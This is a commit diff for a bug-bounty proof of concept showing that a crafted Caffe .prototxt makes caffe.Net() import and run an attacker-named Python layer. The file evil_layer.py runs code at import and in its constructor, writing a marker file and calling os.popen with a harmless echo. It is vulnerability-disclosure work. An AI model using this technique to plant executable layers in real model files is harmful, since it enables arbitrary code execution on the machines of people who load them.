Update to real-binary-verified evil_layer.py + note

README.md

@@ -34,5 +34,7 @@ Python layers (e.g. py-faster-rcnn's `rpn/proposal_layer.py`).
 Loading this `.prototxt` with `caffe.Net()` executes `evil_layer.py`'s
 module-level code and the `Pwn` class constructor.
 
+Verified against the real compiled `libcaffe.so` inside Docker (`bvlc/caffe:cpu`, `WITH_PYTHON_LAYER` confirmed) — real `caffe.Net()` call, not a source reimplementation.
+
 Reported to huntr.com as a Model File Vulnerability (MFV) submission
 ("Caffe" format).

evil_layer.py

@@ -13,28 +13,57 @@ the .prototxt python_param field.
 """
 import os
 import datetime
+import caffe  # noqa: E402  -- real pycaffe base class, matches documented custom-layer usage
 
-MARKER = os.path.expanduser("~/bugbounty_results/caffe-mfv/poc/PWNED_MARKER.txt")
+# Py2/Py3 compatible (no f-strings): the real bvlc/caffe:cpu Docker image
+# ships pycaffe on Python 2.7, so this module must import cleanly there.
+_here = os.path.dirname(os.path.abspath(__file__))
+MARKER = os.environ.get("CAFFE_POC_MARKER", os.path.join(_here, "PWNED_MARKER.txt"))
 
 # 1) Code that runs at IMPORT time (bp::import(module) alone triggers this,
 #    before the "layer" attribute is even looked up).
 with open(MARKER, "a") as f:
-    f.write(f"[{datetime.datetime.now()}] evil_layer.py MODULE IMPORTED "
-            f"(triggered by python_param.module string from attacker prototxt)\n")
-    f.write(f"  -> proof: os.getpid()={os.getpid()}, os.getcwd()={os.getcwd()}\n")
+    f.write("[{0}] evil_layer.py MODULE IMPORTED "
+            "(triggered by python_param.module string from attacker prototxt)\n".format(
+                datetime.datetime.now()))
+    f.write("  -> proof: os.getpid()={0}, os.getcwd()={1}\n".format(
+        os.getpid(), os.getcwd()))
 
 
-class Pwn(object):
+class Pwn(caffe.Layer):
     """
     Attacker-controlled class named by python_param.layer ("Pwn").
-    Caffe calls: module.attr(layer)(param)  ==  Pwn(layer_param)
-    Constructor code below runs unconditionally as part of layer creation.
+    Subclasses caffe.Layer -- the documented, expected base class for
+    real-world custom Python layers (py-faster-rcnn, SSD, etc.), so
+    bp::extract<shared_ptr<PythonLayer<Dtype>>>() succeeds and caffe.Net()
+    returns a fully working net, not just a partially-constructed object.
+    Caffe calls: module.attr(layer)(param) == Pwn(layer_param)  (C++ ctor,
+    via boost::python's class_<Pwn, bases<caffe.Layer>> wrapping), then
+    layer_param.python_param().param_str() is later injected as self.param_str
+    and self.setup(bottom, top) is invoked from PythonLayer::LayerSetUp.
+    Arbitrary code execution already happens at class-instantiation time
+    here, in __init__ / boost::python object construction -- well before
+    setup()/forward() are ever reached.
     """
-    def __init__(self, layer_param):
+    def __init__(self, *args, **kwargs):
         with open(MARKER, "a") as f:
-            f.write(f"[{datetime.datetime.now()}] Pwn.__init__ EXECUTED "
-                    f"(triggered by python_param.layer string from attacker prototxt)\n")
-            f.write(f"  -> received layer_param.name={layer_param.name!r}, "
-                    f"type={layer_param.type!r}\n")
+            f.write("[{0}] Pwn.__init__ EXECUTED "
+                    "(triggered by python_param.layer string from attacker prototxt)\n".format(
+                        datetime.datetime.now()))
             f.write("  -> arbitrary command execution demo: "
                     + os.popen("echo pwned-via-caffe-python-layer").read().strip() + "\n")
+        super(Pwn, self).__init__(*args, **kwargs)
+
+    def setup(self, bottom, top):
+        with open(MARKER, "a") as f:
+            f.write("[{0}] Pwn.setup EXECUTED, param_str={1!r}\n".format(
+                datetime.datetime.now(), self.param_str))
+
+    def reshape(self, bottom, top):
+        top[0].reshape(*bottom[0].data.shape)
+
+    def forward(self, bottom, top):
+        top[0].data[...] = bottom[0].data
+
+    def backward(self, top, propagate_down, bottom):
+        pass